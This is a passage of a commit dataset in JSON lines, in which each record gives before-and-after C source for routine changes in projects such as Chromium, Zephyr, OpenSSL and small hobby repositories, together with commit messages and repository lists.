/atom,rlugojr\/atom,Galactix\/atom,synaptek\/atom,rjattrill\/atom,sebmck\/atom,rmartin\/atom,scippio\/atom,hagb4rd\/atom,fredericksilva\/atom,Dennis1978\/atom,targeter21\/atom,pombredanne\/atom,BogusCurry\/atom,YunchengLiao\/atom,jeremyramin\/atom,hpham04\/atom,crazyquark\/atom,Jandersoft\/atom,FoldingText\/atom,gontadu\/atom,john-kelly\/atom,jjz\/atom,qskycolor\/atom,0x73\/atom,prembasumatary\/atom,bsmr-x-script\/atom,dannyflax\/atom,matthewclendening\/atom,tmunro\/atom,rookie125\/atom,kaicataldo\/atom,ppamorim\/atom,dkfiresky\/atom,splodingsocks\/atom,lpommers\/atom,fedorov\/atom,alfredxing\/atom,Shekharrajak\/atom,svanharmelen\/atom,MjAbuz\/atom,jtrose2\/atom,originye\/atom,basarat\/atom,basarat\/atom,mnquintana\/atom,Sangaroonaom\/atom,ppamorim\/atom,NunoEdgarGub1\/atom,kevinrenaers\/atom,sillvan\/atom,lpommers\/atom,omarhuanca\/atom,Ju2ender\/atom,dsandstrom\/atom,AlexxNica\/atom,bcoe\/atom,001szymon\/atom,lisonma\/atom,rsvip\/aTom,einarmagnus\/atom,kdheepak89\/atom,harshdattani\/atom,acontreras89\/atom,g2p\/atom,mertkahyaoglu\/atom,CraZySacX\/atom,G-Baby\/atom,Shekharrajak\/atom,Andrey-Pavlov\/atom,matthewclendening\/atom,ilovezy\/atom,batjko\/atom,avdg\/atom,gisenberg\/atom,kittens\/atom,chfritz\/atom,daxlab\/atom,FIT-CSE2410-A-Bombs\/atom,dannyflax\/atom,niklabh\/atom,sotayamashita\/atom,omarhuanca\/atom,rxkit\/atom,tjkr\/atom,stuartquin\/atom,YunchengLiao\/atom,Hasimir\/atom,sillvan\/atom,scippio\/atom,rmartin\/atom,ppamorim\/atom,liuxiong332\/atom,gontadu\/atom,johnhaley81\/atom,kaicataldo\/atom,vhutheesing\/atom,deepfox\/atom,tisu2tisu\/atom,pombredanne\/atom,kjav\/atom,burodepeper\/atom,folpindo\/atom,PKRoma\/atom,lisonma\/atom,nvoron23\/atom,n-riesco\/atom,AlisaKiatkongkumthon\/atom,tony612\/atom,transcranial\/atom,bj7\/atom,sebmck\/atom,hpham04\/atom,fedorov\/atom,ashneo76\/atom,fang-yufeng\/atom,atom\/atom,fscherwi\/atom,fang-yufeng\/atom,panuchart\/atom,hagb4rd\/atom,jacekkopecky\/atom,yomybaby\/atom,harshdattani\/atom,gisenberg\/atom,devmario\/atom,vinodpanicker\/atom,ivoadf\/atom,lisonma\/atom,jtrose2\/atom,hellendag\/atom,woss\/atom,tisu2tisu\/atom,crazyquark\/atom,kaicataldo\/atom,SlimeQ\/atom,davideg\/atom,dsandstrom\/atom,lisonma\/atom,tony612\/atom,avdg\/atom,DiogoXRP\/atom,rsvip\/aTom,h0dgep0dge\/atom,florianb\/atom,fang-yufeng\/atom,yalexx\/atom,AdrianVovk\/substance-ide,Huaraz2\/atom,pengshp\/atom,mertkahyaoglu\/atom,tmunro\/atom,darwin\/atom,davideg\/atom,FoldingText\/atom,NunoEdgarGub1\/atom,fscherwi\/atom,ironbox360\/atom,toqz\/atom,dkfiresky\/atom,AlbertoBarrago\/atom,SlimeQ\/atom,acontreras89\/atom,erikhakansson\/atom,fedorov\/atom,yomybaby\/atom,Locke23rus\/atom,jjz\/atom,john-kelly\/atom,Andrey-Pavlov\/atom,Austen-G\/BlockBuilder,Huaraz2\/atom,G-Baby\/atom,batjko\/atom,me-benni\/atom,vjeux\/atom,nucked\/atom,RuiDGoncalves\/atom,charleswhchan\/atom,hakatashi\/atom,bsmr-x-script\/atom,vinodpanicker\/atom,rookie125\/atom,vinodpanicker\/atom,bsmr-x-script\/atom,devmario\/atom,john-kelly\/atom,ReddTea\/atom,ObviouslyGreen\/atom,fredericksilva\/atom,tmunro\/atom,jordanbtucker\/atom,bolinfest\/atom,paulcbetts\/atom,dijs\/atom,hharchani\/atom,yalexx\/atom,omarhuanca\/atom,qiujuer\/atom,ivoadf\/atom,beni55\/atom,vcarrera\/atom,pombredanne\/atom,scv119\/atom,anuwat121\/atom,lovesnow\/atom,hakatashi\/atom,n-riesco\/atom,erikhakansson\/atom,john-kelly\/atom,Galactix\/atom,crazyquark\/atom,palita01\/atom,scippio\/atom,me6iaton\/atom,vcarrera\/atom,hagb4rd\/atom,Klozz\/atom,bj7\/atom,sekcheong\/atom,yangchenghu\/atom,Rodjana\/atom,GHackAnonymous\/atom,abcP9110\/atom,ralphtheninja\/atom,qskycolor\/atom,phord\/atom,synaptek\/atom,brettle\/atom,vhutheesing\/atom,rmartin\/atom,Mokolea\/atom,dsandstrom\/atom,ironbox360\/atom,synaptek\/atom,DiogoXRP\/atom,kjav\/atom,githubteacher\/atom,mnquintana\/atom,bolinfest\/atom,t9md\/atom,Austen-G\/BlockBuilder,bryonwinger\/atom,gabrielPeart\/atom,RobinTec\/atom,pkdevbox\/atom,yomybaby\/atom,tisu2tisu\/atom,MjAbuz\/atom,jlord\/atom,qiujuer\/atom,RuiDGoncalves\/atom,prembasumatary\/atom,hagb4rd\/atom,brettle\/atom,SlimeQ\/atom,nucked\/atom,kjav\/atom,ali\/atom,elkingtonmcb\/atom,yalexx\/atom,kittens\/atom,pengshp\/atom,kdheepak89\/atom,ObviouslyGreen\/atom,kc8wxm\/atom,dannyflax\/atom,Galactix\/atom,kc8wxm\/atom,liuxiong332\/atom,amine7536\/atom,charleswhchan\/atom,alexandergmann\/atom,jlord\/atom,Dennis1978\/atom,RobinTec\/atom,amine7536\/atom,rlugojr\/atom,liuderchi\/atom,jeremyramin\/atom,ardeshirj\/atom,palita01\/atom,folpindo\/atom,isghe\/atom,codex8\/atom,ali\/atom,kevinrenaers\/atom,rmartin\/atom,sxgao3001\/atom,Ju2ender\/atom,NunoEdgarGub1\/atom,me6iaton\/atom,g2p\/atom,paulcbetts\/atom,charleswhchan\/atom,dkfiresky\/atom,nvoron23\/atom,andrewleverette\/atom,darwin\/atom,Shekharrajak\/atom,n-riesco\/atom,synaptek\/atom,sxgao3001\/atom,rxkit\/atom,chengky\/atom,githubteacher\/atom,pombredanne\/atom,jordanbtucker\/atom,chfritz\/atom,scv119\/atom,kc8wxm\/atom,matthewclendening\/atom,FoldingText\/atom,tony612\/atom,oggy\/atom,jjz\/atom,fang-yufeng\/atom,batjko\/atom,Jdesk\/atom,daxlab\/atom,stinsonga\/atom,kandros\/atom,githubteacher\/atom,gisenberg\/atom,RuiDGoncalves\/atom,Jandersoft\/atom,targeter21\/atom,devmario\/atom,Rodjana\/atom,Klozz\/atom,crazyquark\/atom,andrewleverette\/atom,Austen-G\/BlockBuilder,Jdesk\/atom,florianb\/atom,elkingtonmcb\/atom,fang-yufeng\/atom,KENJU\/atom,YunchengLiao\/atom,kc8wxm\/atom,mnquintana\/atom,brumm\/atom,sekcheong\/atom,abe33\/atom,seedtigo\/atom,transcranial\/atom,dsandstrom\/atom,liuxiong332\/atom,me6iaton\/atom,svanharmelen\/atom,Mokolea\/atom,lovesnow\/atom,Jonekee\/atom,vjeux\/atom,toqz\/atom,jacekkopecky\/atom,wiggzz\/atom,ezeoleaf\/atom,bencolon\/atom,fredericksilva\/atom,g2p\/atom,nrodriguez13\/atom,mrodalgaard\/atom,gabrielPeart\/atom,mrodalgaard\/atom,vhutheesing\/atom,panuchart\/atom,lpommers\/atom,kandros\/atom,daxlab\/atom,NunoEdgarGub1\/atom,ykeisuke\/atom,omarhuanca\/atom,mertkahyaoglu\/atom,ReddTea\/atom,Shekharrajak\/atom,hharchani\/atom,oggy\/atom,tony612\/atom,dannyflax\/atom,rmartin\/atom,FoldingText\/atom,vinodpanicker\/atom,originye\/atom,execjosh\/atom,deepfox\/atom,me6iaton\/atom"}
{"commit":"4ebe6c82223445eaf08ef58f8abb031c8b5297b9","old_file":"tests\/test_stdlib.c","new_file":"tests\/test_stdlib.c","old_contents":"#include <stdlib.h>\n#include \"seatest.h\"\n\nstatic void test_abs (void)\n{\n    \/\/ abs\n    assert_true(abs(0) == 0);\n    assert_true(abs(1) == 1);\n    assert_true(abs(INT_MAX) == INT_MAX);\n    assert_true(abs(-1) == 1);\n    \/\/ labs\n    assert_true(labs(0) == 0);\n    assert_true(labs(1) == 1);\n    assert_true(labs(LONG_MAX) == LONG_MAX);\n    assert_true(labs(-1) == 1);\n    \/\/ llabs\n    assert_true(llabs(0) == 0);\n    assert_true(llabs(1) == 1);\n    assert_true(llabs(LLONG_MAX) == LLONG_MAX);\n    assert_true(llabs(-1) == 1);\n}\n\nvoid test_stdlib (void)\n{\n    test_fixture_start();\n    run_test(test_abs);\n    test_fixture_end();\n}\n","new_contents":"#include <stdlib.h>\n#include \"seatest.h\"\n\nstatic void test_abs (void)\n{\n    \/\/ abs\n    assert_int_equal(0, abs(0));\n    assert_int_equal(1, abs(1));\n    assert_int_equal(INT_MAX, abs(INT_MAX));\n    assert_int_equal(1, abs(-1));\n    \/\/ labs\n    assert_true(labs(0) == 0);\n    assert_true(labs(1) == 1);\n    assert_true(labs(LONG_MAX) == LONG_MAX);\n    assert_true(labs(-1) == 1);\n    \/\/ llabs\n    assert_true(llabs(0) == 0);\n    assert_true(llabs(1) == 1);\n    assert_true(llabs(LLONG_MAX) == LLONG_MAX);\n    assert_true(llabs(-1) == 1);\n}\n\nvoid test_stdlib (void)\n{\n    test_fixture_start();\n    run_test(test_abs);\n    test_fixture_end();\n}\n","subject":"Use assert_int_equal not assert_true where possible","message":"Use assert_int_equal not assert_true where possible\n","lang":"C","license":"mit","repos":"kristapsk\/resclib,kristapsk\/resclib,kristapsk\/reclib,kristapsk\/reclib"}
{"commit":"d07bfb8f8d51a392b72bb14b9d9f2281309f632e","old_file":"components\/policy\/core\/common\/policy_provider_android_delegate.h","new_file":"components\/policy\/core\/common\/policy_provider_android_delegate.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n#define COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n\n#include \"base\/compiler_specific.h\"\n\nnamespace policy {\n\n\/\/ A delegate for the Android policy provider. This class is responsible for\n\/\/ setting policies on the PolicyProviderAndroid and refreshing them on demand.\nclass POLICY_EXPORT PolicyProviderAndroidDelegate {\n public:\n  \/\/ Called to refresh policies. If this method is called, the delegate must\n  \/\/ eventually call SetPolicies on the provider.\n  virtual void RefreshPolicies() = 0;\n\n  \/\/ Called before the provider is destroyed.\n  virtual void PolicyProviderShutdown() = 0;\n\n protected:\n  virtual ~PolicyProviderAndroidDelegate() {}\n};\n\n}  \/\/ namespace policy\n\n#endif  \/\/ COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n#define COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n\n#include \"base\/compiler_specific.h\"\n#include \"components\/policy\/policy_export.h\"\n\nnamespace policy {\n\n\/\/ A delegate for the Android policy provider. This class is responsible for\n\/\/ setting policies on the PolicyProviderAndroid and refreshing them on demand.\nclass POLICY_EXPORT PolicyProviderAndroidDelegate {\n public:\n  \/\/ Called to refresh policies. If this method is called, the delegate must\n  \/\/ eventually call SetPolicies on the provider.\n  virtual void RefreshPolicies() = 0;\n\n  \/\/ Called before the provider is destroyed.\n  virtual void PolicyProviderShutdown() = 0;\n\n protected:\n  virtual ~PolicyProviderAndroidDelegate() {}\n};\n\n}  \/\/ namespace policy\n\n#endif  \/\/ COMPONENTS_POLICY_CORE_COMMON_POLICY_PROVIDER_ANDROID_DELEGATE_H_\n","subject":"Add a missing policy_export include","message":"Add a missing policy_export include\n\nWhen including only policy_provider_android and no other policy\nrelated header, this made the compiler complain about the missing\ndeclaration of POLICY_EXPORT\n\nBUG=506809\n\nReview URL: https:\/\/codereview.chromium.org\/1225583002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#337316}\n","lang":"C","license":"bsd-3-clause","repos":"Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,axinging\/chromium-crosswalk,Chilledheart\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium,Just-D\/chromium-1,Chilledheart\/chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,Chilledheart\/chromium,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk"}
{"commit":"f51e7a2cf7e05177c04d65d559cafa2691549046","old_file":"src\/EthShield.c","new_file":"src\/EthShield.c","old_contents":"\/**\n * @file debug.h\n * @brief Initializer and main loop of EthShield\n *\n * \\copyright Copyright 2013 \/Dev. All rights reserved.\n * \\license This project is released under MIT license.\n *\n * @author Ferdi van der Werf <efcm@slashdev.nl>\n * @since 0.1.0\n *\/\n\n\/\/ Speed of micro-controller (20.0 MHz)\n#ifndef F_CPU\n#define F_CPU 20000000\n#endif\n\n#include <inttypes.h>\n#include <avr\/interrupt.h>\n#include \"net\/network.h\"\n#include \"utils\/logger.h\"\n#include \"utils\/uptime.h\"\n\nint main(void) {\n\t\/\/ Enable interrupts\n    sei();\n\t\n    \/\/ Initialize debug\n    logger_init();\n    \n    \/\/ Initialize uptime\n    uptime_init();\n    \n    \/\/ Initialize network chip\n    network_init();\n    \n    \/\/ Infinite loop\n    while (1) {\n        \n    }\n    \n}\n","new_contents":"\/**\n * @file debug.h\n * @brief Initializer and main loop of EthShield\n *\n * \\copyright Copyright 2013 \/Dev. All rights reserved.\n * \\license This project is released under MIT license.\n *\n * @author Ferdi van der Werf <efcm@slashdev.nl>\n * @since 0.1.0\n *\/\n\n\/\/ Speed of micro-controller (20.0 MHz)\n#ifndef F_CPU\n#define F_CPU 20000000\n#endif\n\n#include <inttypes.h>\n#include <avr\/interrupt.h>\n#include \"net\/network.h\"\n#include \"utils\/logger.h\"\n#include \"utils\/uptime.h\"\n\nint main(void) {\n\t\/\/ Enable interrupts\n    sei();\n\t\n    \/\/ Initialize debug\n    logger_init();\n    \n    \/\/ Initialize uptime\n    uptime_init();\n    \n    \/\/ Initialize network chip\n    network_init();\n    \n    \/\/ Infinite loop\n    while (1) {\n        \/\/ Handle network traffic\n        network_backbone();\n    }\n    \n}\n","subject":"Handle network traffic in main loop","message":"Handle network traffic in main loop\n","lang":"C","license":"mit","repos":"slashdev\/slashnet,fuegas\/dollhouse-ethshield,fuegas\/dollhouse-ethshield,slashdev\/slashnet"}
{"commit":"e8034eb5a2e48453728bb1a182588a6dffa2b08a","old_file":"problems\/0001-0025\/0001-multiples-of-3-and-5\/main.c","new_file":"problems\/0001-0025\/0001-multiples-of-3-and-5\/main.c","old_contents":"#include <stdio.h>\n\n#define RANGE 1000\n\nunsigned int count_divisibility(unsigned int divisor) {\n    int count = 0;\n\n    for ( int i = 1 ; i < RANGE ; i++ ) {\n        if ( i % divisor == 0 ) {\n            count++;\n        }\n    }\n\n    return count;\n}\n\n\/\/ Use the identity n(n+1)\/2 to calculate the sum\nunsigned int calculate_divisibility_sum(unsigned int number, unsigned int count) {\n    unsigned int divisibility_sum = 0;\n\n    divisibility_sum = number * (count * (count + 1)) \/ 2;\n\n    return divisibility_sum;\n}\n\nint main() {\n    unsigned short div_three_count = 0,\n                   div_five_count = 0,\n                   div_fifteen_count = 0;\n\n    unsigned int div_three_sum,\n                 div_five_sum,\n                 div_fifteen_sum,\n                 total_sum;\n\n    div_three_count = count_divisibility(3);\n    div_five_count = count_divisibility(5);\n    div_fifteen_count = count_divisibility(15);\n\n    div_three_sum = calculate_divisibility_sum(3, div_three_count);\n    div_five_sum = calculate_divisibility_sum(5, div_five_count);\n    div_fifteen_sum = calculate_divisibility_sum(15, div_fifteen_count);\n\n    total_sum = div_three_sum + div_five_sum - div_fifteen_sum;\n\n    printf(\"%d\", total_sum);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#define RANGE 1000\n\nunsigned short count_divisibility(unsigned short divisor) {\n    int count = 0;\n\n    count = (RANGE - 1) \/ divisor;\n\n    return count;\n}\n\n\/\/ Use the identity n(n+1)\/2 to calculate the sum\nunsigned int calculate_divisibility_sum(unsigned short number, unsigned short count) {\n    unsigned int divisibility_sum = 0;\n\n    divisibility_sum = number * (count * (count + 1)) \/ 2;\n\n    return divisibility_sum;\n}\n\nint main() {\n    unsigned short div_three_count = 0,\n                   div_five_count = 0,\n                   div_fifteen_count = 0;\n\n    unsigned int div_three_sum,\n                 div_five_sum,\n                 div_fifteen_sum,\n                 total_sum;\n\n    div_three_count = count_divisibility(3);\n    div_five_count = count_divisibility(5);\n    div_fifteen_count = count_divisibility(15);\n\n    div_three_sum = calculate_divisibility_sum(3, div_three_count);\n    div_five_sum = calculate_divisibility_sum(5, div_five_count);\n    div_fifteen_sum = calculate_divisibility_sum(15, div_fifteen_count);\n\n    total_sum = div_three_sum + div_five_sum - div_fifteen_sum;\n\n    printf(\"%d\", total_sum);\n    return 0;\n}\n","subject":"Refactor Problem 1's solution in C","message":"Refactor Problem 1's solution in C\n\nMy logic failed me and I noticed that I just need to divide 1000 by\nthe number to get the amount of divisible numbers. -_- That's why I\nremoved the for-loop.\n\nChanged the datatype for some of the functions and arguments,\nbecause `short int` is sufficient enough to store the values.\n","lang":"C","license":"mit","repos":"pho1n1x\/eulerian-insanity"}
{"commit":"352fd8a38a7ca9bed62801969d9e0188f6b7e3ad","old_file":"SearchResultsView\/PrecompiledHeader.h","new_file":"SearchResultsView\/PrecompiledHeader.h","old_contents":"#pragma once\n\n#define NTDDI_VERSION 0x06010000\n#define WINVER 0x0601\n#define _WIN32_WINNT 0x0601\n\n#include <ShellScalingApi.h>\n#include <Shlobj.h>\n#include <ShObjIdl.h>\n#include <Windows.h>\n#include <wrl.h>\n\n#undef min\n#undef max\n\n#include <algorithm>\n#include <unordered_map>\n\nnamespace WRL\n{\n\tusing namespace Microsoft::WRL;\n}\n\n#if _DEBUG\n#define Assert(x) do { if (!(x)) __debugbreak(); } while (false, false)\n#else\n#define Assert(x) do { if (false, false) (void)(x); } while (false, false)\n#endif","new_contents":"#pragma once\n\n#define NTDDI_VERSION 0x0A000007 \/\/ NTDDI_WIN10_19H1\n#define _WIN32_WINNT 0x0A00 \/\/ _WIN32_WINNT_WIN10\n#define WINVER 0x0A00\n\n#include <ShellScalingApi.h>\n#include <Shlobj.h>\n#include <ShObjIdl.h>\n#include <Windows.h>\n#include <wrl.h>\n\n#undef min\n#undef max\n\n#include <algorithm>\n#include <unordered_map>\n\nnamespace WRL\n{\n\tusing namespace Microsoft::WRL;\n}\n\n#if _DEBUG\n#define Assert(x) do { if (!(x)) __debugbreak(); } while (false, false)\n#else\n#define Assert(x) do { if (false, false) (void)(x); } while (false, false)\n#endif","subject":"Drop support for Windows 7.","message":"Drop support for Windows 7.\n","lang":"C","license":"mit","repos":"TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch"}
{"commit":"4db8d0f81e61c88316872b49255c7dfe4b416f88","old_file":"common\/db_common.h","new_file":"common\/db_common.h","old_contents":"","new_contents":"\/\/\n\/\/ Created by cyber on 15.08.19.\n\/\/\n\n#ifndef DRONEBRIDGE_DB_COMMON_H\n#define DRONEBRIDGE_DB_COMMON_H\n\n#endif \/\/DRONEBRIDGE_DB_COMMON_H\n","subject":"Move to syslog, minor exit bug on usbbridge","message":"Move to syslog, minor exit bug on usbbridge\n\n","lang":"C","license":"apache-2.0","repos":"seeul8er\/DroneBridge,seeul8er\/DroneBridge,seeul8er\/DroneBridge,seeul8er\/DroneBridge,seeul8er\/DroneBridge"}
{"commit":"1a5537811f3faf7171f282321aa91f8ef1f8dd35","old_file":"arch\/arm\/soc\/ti_simplelink\/cc32xx\/soc.h","new_file":"arch\/arm\/soc\/ti_simplelink\/cc32xx\/soc.h","old_contents":"\/*\n * Copyright (c) 2016, Texas Instruments Incorporated\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n#include <inc\/hw_types.h>\n#include <driverlib\/prcm.h>\n","new_contents":"\/*\n * Copyright (c) 2016-2017, Texas Instruments Incorporated\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <inc\/hw_types.h>\n#include <driverlib\/prcm.h>\n\n\/*\n * CMSIS IRQn_Type enum is broken relative to ARM GNU compiler.\n *\n * So redefine the IRQn_Type enum to a unsigned int to avoid\n * the ARM compiler from sign extending IRQn_Type values higher than 0x80\n * into negative IRQ values, which causes hard-to-debug Hard Faults.\n *\/\ntypedef u32_t IRQn_Type;\n\n\/* Need to keep the remaining from cmsis.h, as Zephyr expects these. *\/\nenum {\n\tReset_IRQn                    = -15,\n\tNonMaskableInt_IRQn           = -14,\n\tHardFault_IRQn                = -13,\n#if defined(CONFIG_ARMV7_M)\n\tMemoryManagement_IRQn         = -12,\n\tBusFault_IRQn                 = -11,\n\tUsageFault_IRQn               = -10,\n#endif \/* CONFIG_ARMV7_M *\/\n\tSVCall_IRQn                   =  -5,\n\tDebugMonitor_IRQn             =  -4,\n\tPendSV_IRQn                   =  -2,\n\tSysTick_IRQn                  =  -1,\n} CMSIS_IRQn_Type;\n\n#define __CM4_REV        0\n#define __MPU_PRESENT                  0 \/* Zephyr has no MPU support *\/\n#define __NVIC_PRIO_BITS               CONFIG_NUM_IRQ_PRIO_BITS\n#define __Vendor_SysTickConfig         0 \/* Default to standard SysTick *\/\n","subject":"Redefine CMSIS IRQn_Type enum to unsigned int","message":"cc32xx: Redefine CMSIS IRQn_Type enum to unsigned int\n\nPreviously, calling NVIC_SetPriority(IRQn_Type irqn, ....) with\nthe NWP interrupt number of 171 caused a hard fault during a\nsubsequent svc #0 instruction during _Swap().\n\nGNU compiler is generating a bit extension instruction (sxtb) which\nconverts a positive IRQ value argument to a negative value when\ncasting to the CMSIS IRQn_Type enum parameter type.\n\nThis generates a negative index, which then writes to an SCB\ncontrol register instead of NVIC register, causing a hard\nfault later on.\n\nThis issue only occurs when passing interrupt numbers > 0x80\n(eg: 171 (0xab) for the NWP) to the CMSIS NVIC apis.\n\nThe solution here is simply to redefine IRQn_Type to be an\nunsigned 32 bit integer, while redefining the CMSIS IRQn_Type\nenum definitions for interrupts less than zero.\n\nJira: ZEP-1958\n\nSigned-off-by: Gil Pitney <477da50908f0a7963c2c490cce0ff096d2cac162@linaro.org>\n","lang":"C","license":"apache-2.0","repos":"runchip\/zephyr-cc3220,fbsder\/zephyr,punitvara\/zephyr,nashif\/zephyr,punitvara\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,fbsder\/zephyr,punitvara\/zephyr,zephyrproject-rtos\/zephyr,rsalveti\/zephyr,explora26\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,aceofall\/zephyr-iotos,explora26\/zephyr,ldts\/zephyr,zephyriot\/zephyr,rsalveti\/zephyr,finikorg\/zephyr,runchip\/zephyr-cc3220,kraj\/zephyr,punitvara\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,zephyriot\/zephyr,runchip\/zephyr-cc3220,mbolivar\/zephyr,ldts\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,ldts\/zephyr,rsalveti\/zephyr,aceofall\/zephyr-iotos,fbsder\/zephyr,aceofall\/zephyr-iotos,runchip\/zephyr-cc3220,nashif\/zephyr,kraj\/zephyr,kraj\/zephyr,Vudentz\/zephyr,punitvara\/zephyr,mbolivar\/zephyr,rsalveti\/zephyr,galak\/zephyr,kraj\/zephyr,kraj\/zephyr,galak\/zephyr,mbolivar\/zephyr,nashif\/zephyr,nashif\/zephyr,explora26\/zephyr,fbsder\/zephyr,finikorg\/zephyr,explora26\/zephyr,zephyriot\/zephyr,rsalveti\/zephyr,zephyrproject-rtos\/zephyr,zephyriot\/zephyr,runchip\/zephyr-cc3220,zephyrproject-rtos\/zephyr,galak\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,galak\/zephyr,zephyriot\/zephyr,galak\/zephyr,aceofall\/zephyr-iotos,zephyrproject-rtos\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,ldts\/zephyr,mbolivar\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,explora26\/zephyr,mbolivar\/zephyr,ldts\/zephyr,fbsder\/zephyr"}
{"commit":"274937d4b721bb1162598610a3635ea67728c116","old_file":"src\/private\/timer-win32.c","new_file":"src\/private\/timer-win32.c","old_contents":"\/* Copyright (C) 2012-2013 Zeex\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <time.h>\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\ntime_t timer_clock(void) {\n  return GetTickCount();\n}\n","new_contents":"\/* Copyright (C) 2012-2013 Zeex\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <time.h>\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\ntime_t timer_clock(void) {\n  LARGE_INTEGER freq, count;\n\n  if (!QueryPerformanceFrequency(&freq)) {\n    return 0;\n  }\n\n  if (!QueryPerformanceCounter(&count)) {\n    return 0;\n  }\n\n  return (time_t)(1000.0L \/ freq.QuadPart * count.QuadPart);;\n}\n","subject":"Use QueryPerformanceCounter() timer instead of GetTickCount()","message":"Use QueryPerformanceCounter() timer instead of GetTickCount()\n\nGetTickCount() has poor resolution according to MSDN docs (from\n10 to 16 ms).\n","lang":"C","license":"apache-2.0","repos":"WopsS\/sampgdk,Zeex\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk"}
{"commit":"a9091c137bb21a247afa01ecf17bd5c75d9b0e65","old_file":"crypto\/engine\/eng_all.c","new_file":"crypto\/engine\/eng_all.c","old_contents":"\/*\n * Copyright 2001-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include \"internal\/cryptlib.h\"\n#include \"eng_int.h\"\n\nvoid ENGINE_load_builtin_engines(void)\n{\n    \/* Some ENGINEs need this *\/\n    OPENSSL_cpuid_setup();\n\n    OPENSSL_init_crypto(OPENSSL_INIT_ENGINE_ALL_BUILTIN, NULL);\n}\n\n#if (defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__DragonFly__)) && !defined(OPENSSL_NO_DEPRECATED)\nvoid ENGINE_setup_bsd_cryptodev(void)\n{\n}\n#endif\n","new_contents":"\/*\n * Copyright 2001-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include 